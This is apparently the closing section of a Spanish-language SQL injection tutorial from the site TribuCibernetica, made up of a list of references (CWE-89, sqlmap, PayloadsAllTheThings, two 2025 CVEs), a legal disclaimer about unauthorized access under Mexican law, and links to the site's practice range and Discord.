- MITRE — CWE-89: Improper Neutralization of Special Elements used in an SQL Command
- Proyecto sqlmap — documentación oficial, catálogo de tamper scripts y código fuente (github.com/sqlmapproject/sqlmap)
- Fortinet PSIRT / CISA — CVE-2025-25257: SQL injection sin autenticación en FortiWeb (CVSS 9.6), escalable a RCE vía INTO OUTFILE (julio 2025)
- Rapid7 / Stephen Fewer — CVE-2025-1094: SQL injection en PostgreSQL psql vía UTF-8 inválido, escalable a RCE (CVSS 8.1, febrero 2025); PostgreSQL fixes 17.3/16.7/15.11/14.16/13.19
- PayloadsAllTheThings — SQL Injection / sqlmap (swisskyrepo)
- PortSwigger Web Security Academy — SQL injection (referencia de explotación manual)
© 2026 TribuCibernetica. Contenido publicado bajo fines educativos y de investigación en seguridad autorizada. Las técnicas aquí descritas deben aplicarse exclusivamente contra sistemas propios o con autorización explícita. El acceso no autorizado o la manipulación de sistemas de terceros constituye un delito en México (Artículo 211 bis del Código Penal Federal) y en la mayoría de jurisdicciones. TribuCibernetica no se hace responsable del uso indebido de esta información. Practica exclusivamente en entornos autorizados como el Cyber Range de TribuCibernetica.
→ Leer Tomo 4: GraphQL, ORMs Modernos y WebSockets → Practicar en CP01 y CP05 en el Cyber Range → Unirse al Discord de TribuCibernetica
[!TIP] ¿Quieres practicar esta vulnerabilidad? Pon a prueba tus conocimientos en un entorno controlado. Únete a otros hackers y explora el Cyber Range de TribuCibernetica.